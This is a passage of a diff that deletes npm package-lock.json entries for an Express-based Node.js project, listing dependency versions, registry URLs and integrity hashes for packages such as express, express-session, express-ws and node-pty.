- "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/call-bind": {
- "version": "1.0.7",
- "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz",
- "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==",
- "dependencies": {
- "es-define-property": "^1.0.0",
- "es-errors": "^1.3.0",
- "function-bind": "^1.1.2",
- "get-intrinsic": "^1.2.4",
- "set-function-length": "^1.2.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/content-disposition": {
- "version": "0.5.4",
- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
- "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
- "dependencies": {
- "safe-buffer": "5.2.1"
- },
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/content-type": {
- "version": "1.0.5",
- "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
- "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/cookie": {
- "version": "0.6.0",
- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.6.0.tgz",
- "integrity": "sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/cookie-signature": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
- "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
- },
- "node_modules/cors": {
- "version": "2.8.5",
- "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz",
- "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==",
- "dependencies": {
- "object-assign": "^4",
- "vary": "^1"
- },
- "engines": {
- "node": ">= 0.10"
- }
- },
- "node_modules/debug": {
- "version": "2.6.9",
- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
- "dependencies": {
- "ms": "2.0.0"
- }
- },
- "node_modules/define-data-property": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
- "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
- "dependencies": {
- "es-define-property": "^1.0.0",
- "es-errors": "^1.3.0",
- "gopd": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/depd": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
- "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/destroy": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
- "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
- "engines": {
- "node": ">= 0.8",
- "npm": "1.2.8000 || >= 1.4.16"
- }
- },
- "node_modules/ee-first": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
- "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
- },
- "node_modules/encodeurl": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
- "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==",
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/es-define-property": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz",
- "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==",
- "dependencies": {
- "get-intrinsic": "^1.2.4"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-errors": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
- "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/escape-html": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
- "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
- },
- "node_modules/etag": {
- "version": "1.8.1",
- "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
- "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/express": {
- "version": "4.19.2",
- "resolved": "https://registry.npmjs.org/express/-/express-4.19.2.tgz",
- "integrity": "sha512-5T6nhjsT+EOMzuck8JjBHARTHfMht0POzlA60WV2pMD3gyXw2LZnZ+ueGdNxG+0calOJcWKbpFcuzLZ91YWq9Q==",
- "dependencies": {
- "accepts": "~1.3.8",
- "array-flatten": "1.1.1",
- "body-parser": "1.20.2",
- "content-disposition": "0.5.4",
- "content-type": "~1.0.4",
- "cookie": "0.6.0",
- "cookie-signature": "1.0.6",
- "debug": "2.6.9",
- "depd": "2.0.0",
- "encodeurl": "~1.0.2",
- "escape-html": "~1.0.3",
- "etag": "~1.8.1",
- "finalhandler": "1.2.0",
- "fresh": "0.5.2",
- "http-errors": "2.0.0",
- "merge-descriptors": "1.0.1",
- "methods": "~1.1.2",
- "on-finished": "2.4.1",
- "parseurl": "~1.3.3",
- "path-to-regexp": "0.1.7",
- "proxy-addr": "~2.0.7",
- "qs": "6.11.0",
- "range-parser": "~1.2.1",
- "safe-buffer": "5.2.1",
- "send": "0.18.0",
- "serve-static": "1.15.0",
- "setprototypeof": "1.2.0",
- "statuses": "2.0.1",
- "type-is": "~1.6.18",
- "utils-merge": "1.0.1",
- "vary": "~1.1.2"
- },
- "engines": {
- "node": ">= 0.10.0"
- }
- },
- "node_modules/express-session": {
- "version": "1.18.0",
- "resolved": "https://registry.npmjs.org/express-session/-/express-session-1.18.0.tgz",
- "integrity": "sha512-m93QLWr0ju+rOwApSsyso838LQwgfs44QtOP/WBiwtAgPIo/SAh1a5c6nn2BR6mFNZehTpqKDESzP+fRHVbxwQ==",
- "dependencies": {
- "cookie": "0.6.0",
- "cookie-signature": "1.0.7",
- "debug": "2.6.9",
- "depd": "~2.0.0",
- "on-headers": "~1.0.2",
- "parseurl": "~1.3.3",
- "safe-buffer": "5.2.1",
- "uid-safe": "~2.1.5"
- },
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/express-session/node_modules/cookie-signature": {
- "version": "1.0.7",
- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz",
- "integrity": "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA=="
- },
- "node_modules/express-ws": {
- "version": "5.0.2",
- "resolved": "https://registry.npmjs.org/express-ws/-/express-ws-5.0.2.tgz",
- "integrity": "sha512-0uvmuk61O9HXgLhGl3QhNSEtRsQevtmbL94/eILaliEADZBHZOQUAiHFrGPrgsjikohyrmSG5g+sCfASTt0lkQ==",
- "dependencies": {
- "ws": "^7.4.6"
- },
- "engines": {
- "node": ">=4.5.0"
- },
- "peerDependencies": {
- "express": "^4.0.0 || ^5.0.0-alpha.1"
- }
- },
- "node_modules/finalhandler": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz",
- "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==",
- "dependencies": {
- "debug": "2.6.9",
- "encodeurl": "~1.0.2",
- "escape-html": "~1.0.3",
- "on-finished": "2.4.1",
- "parseurl": "~1.3.3",
- "statuses": "2.0.1",
- "unpipe": "~1.0.0"
- },
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/forwarded": {
- "version": "0.2.0",
- "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
- "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/fresh": {
- "version": "0.5.2",
- "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
- "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/function-bind": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
- "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/get-intrinsic": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz",
- "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==",
- "dependencies": {
- "es-errors": "^1.3.0",
- "function-bind": "^1.1.2",
- "has-proto": "^1.0.1",
- "has-symbols": "^1.0.3",
- "hasown": "^2.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/gopd": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz",
- "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==",
- "dependencies": {
- "get-intrinsic": "^1.1.3"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-property-descriptors": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
- "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
- "dependencies": {
- "es-define-property": "^1.0.0"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-proto": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.3.tgz",
- "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/has-symbols": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
- "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/hasown": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
- "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
- "dependencies": {
- "function-bind": "^1.1.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/http-errors": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
- "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
- "dependencies": {
- "depd": "2.0.0",
- "inherits": "2.0.4",
- "setprototypeof": "1.2.0",
- "statuses": "2.0.1",
- "toidentifier": "1.0.1"
- },
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/iconv-lite": {
- "version": "0.4.24",
- "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
- "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
- "dependencies": {
- "safer-buffer": ">= 2.1.2 < 3"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/inherits": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
- "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
- },
- "node_modules/ipaddr.js": {
- "version": "1.9.1",
- "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
- "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
- "engines": {
- "node": ">= 0.10"
- }
- },
- "node_modules/lru-cache": {
- "version": "4.1.5",
- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz",
- "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==",
- "dependencies": {
- "pseudomap": "^1.0.2",
- "yallist": "^2.1.2"
- }
- },
- "node_modules/media-typer": {
- "version": "0.3.0",
- "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
- "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/memorystore": {
- "version": "1.6.7",
- "resolved": "https://registry.npmjs.org/memorystore/-/memorystore-1.6.7.tgz",
- "integrity": "sha512-OZnmNY/NDrKohPQ+hxp0muBcBKrzKNtHr55DbqSx9hLsYVNnomSAMRAtI7R64t3gf3ID7tHQA7mG4oL3Hu9hdw==",
- "dependencies": {
- "debug": "^4.3.0",
- "lru-cache": "^4.0.3"
- },
- "engines": {
- "node": ">=0.10"
- }
- },
- "node_modules/memorystore/node_modules/debug": {
- "version": "4.3.5",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.5.tgz",
- "integrity": "sha512-pt0bNEmneDIvdL1Xsd9oDQ/wrQRkXDT4AUWlNZNPKvW5x/jyO9VFXkJUP07vQ2upmw5PlaITaPKc31jK13V+jg==",
- "dependencies": {
- "ms": "2.1.2"
- },
- "engines": {
- "node": ">=6.0"
- },
- "peerDependenciesMeta": {
- "supports-color": {
- "optional": true
- }
- }
- },
- "node_modules/memorystore/node_modules/ms": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
- },
- "node_modules/merge-descriptors": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
- "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w=="
- },
- "node_modules/methods": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
- "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/mime": {
- "version": "1.6.0",
- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
- "bin": {
- "mime": "cli.js"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/mime-db": {
- "version": "1.52.0",
- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
- "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/mime-types": {
- "version": "2.1.35",
- "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
- "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
- "dependencies": {
- "mime-db": "1.52.0"
- },
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/morgan": {
- "version": "1.10.0",
- "resolved": "https://registry.npmjs.org/morgan/-/morgan-1.10.0.tgz",
- "integrity": "sha512-AbegBVI4sh6El+1gNwvD5YIck7nSA36weD7xvIxG4in80j/UoK8AEGaWnnz8v1GxonMCltmlNs5ZKbGvl9b1XQ==",
- "dependencies": {
- "basic-auth": "~2.0.1",
- "debug": "2.6.9",
- "depd": "~2.0.0",
- "on-finished": "~2.3.0",
- "on-headers": "~1.0.2"
- },
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/morgan/node_modules/on-finished": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz",
- "integrity": "sha512-ikqdkGAAyf/X/gPhXGvfgAytDZtDbr+bkNUJ0N9h5MI/dmdgCs3l6hoHrcUv41sRKew3jIwrp4qQDXiK99Utww==",
- "dependencies": {
- "ee-first": "1.1.1"
- },
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/ms": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
- "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
- },
- "node_modules/nan": {
- "version": "2.19.0",
- "resolved": "https://registry.npmjs.org/nan/-/nan-2.19.0.tgz",
- "integrity": "sha512-nO1xXxfh/RWNxfd/XPfbIfFk5vgLsAxUR9y5O0cHMJu/AW9U95JLXqthYHjEp+8gQ5p96K9jUp8nbVOxCdRbtw=="
- },
- "node_modules/negotiator": {
- "version": "0.6.3",
- "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
- "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/node-pty": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.0.0.tgz",
- "integrity": "sha512-wtBMWWS7dFZm/VgqElrTvtfMq4GzJ6+edFI0Y0zyzygUSZMgZdraDUMUhCIvkjhJjme15qWmbyJbtAx4ot4uZA==",
- "hasInstallScript": true,
- "dependencies": {
- "nan": "^2.17.0"
- }
- },
- "node_modules/object-assign": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
- "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/object-inspect": {
- "version": "1.13.1",
- "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.1.tgz",
- "integrity": "sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==",
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/on-finished": {
- "version": "2.4.1",
- "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
- "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
- "dependencies": {
- "ee-first": "1.1.1"
- },
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/on-headers": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
- "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==",
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/parseurl": {
- "version": "1.3.3",
- "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
- "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/path-to-regexp": {
- "version": "0.1.7",
- "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz",
- "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ=="
- },
- "node_modules/proxy-addr": {
- "version": "2.0.7",
- "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
- "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
- "dependencies": {
- "forwarded": "0.2.0",
- "ipaddr.js": "1.9.1"
- },
- "engines": {
- "node": ">= 0.10"
- }
- },
- "node_modules/pseudomap": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz",
- "integrity": "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ=="
- },
- "node_modules/qs": {
- "version": "6.11.0",
- "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz",
- "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==",
- "dependencies": {
- "side-channel": "^1.0.4"
- },
- "engines": {
- "node": ">=0.6"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/random-bytes": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/random-bytes/-/random-bytes-1.0.0.tgz",
- "integrity": "sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ==",
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/range-parser": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
- "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/raw-body": {
- "version": "2.5.2",
- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz",
- "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==",
- "dependencies": {
- "bytes": "3.1.2",
- "http-errors": "2.0.0",
- "iconv-lite": "0.4.24",
- "unpipe": "1.0.0"
- },
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/safe-buffer": {
- "version": "5.2.1",
- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
- "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ]
- },
- "node_modules/safer-buffer": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
- "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
- },
- "node_modules/send": {
- "version": "0.18.0",
- "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz",
- "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==",
- "dependencies": {
- "debug": "2.6.9",
- "depd": "2.0.0",
- "destroy": "1.2.0",
- "encodeurl": "~1.0.2",
- "escape-html": "~1.0.3",
- "etag": "~1.8.1",
- "fresh": "0.5.2",
- "http-errors": "2.0.0",
- "mime": "1.6.0",
- "ms": "2.1.3",
- "on-finished": "2.4.1",
- "range-parser": "~1.2.1",
- "statuses": "2.0.1"
- },
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/send/node_modules/ms": {
- "version": "2.1.3",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
- "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
- },
- "node_modules/serve-static": {
- "version": "1.15.0",
- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz",
- "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==",
- "dependencies": {
- "encodeurl": "~1.0.2",
- "escape-html": "~1.0.3",
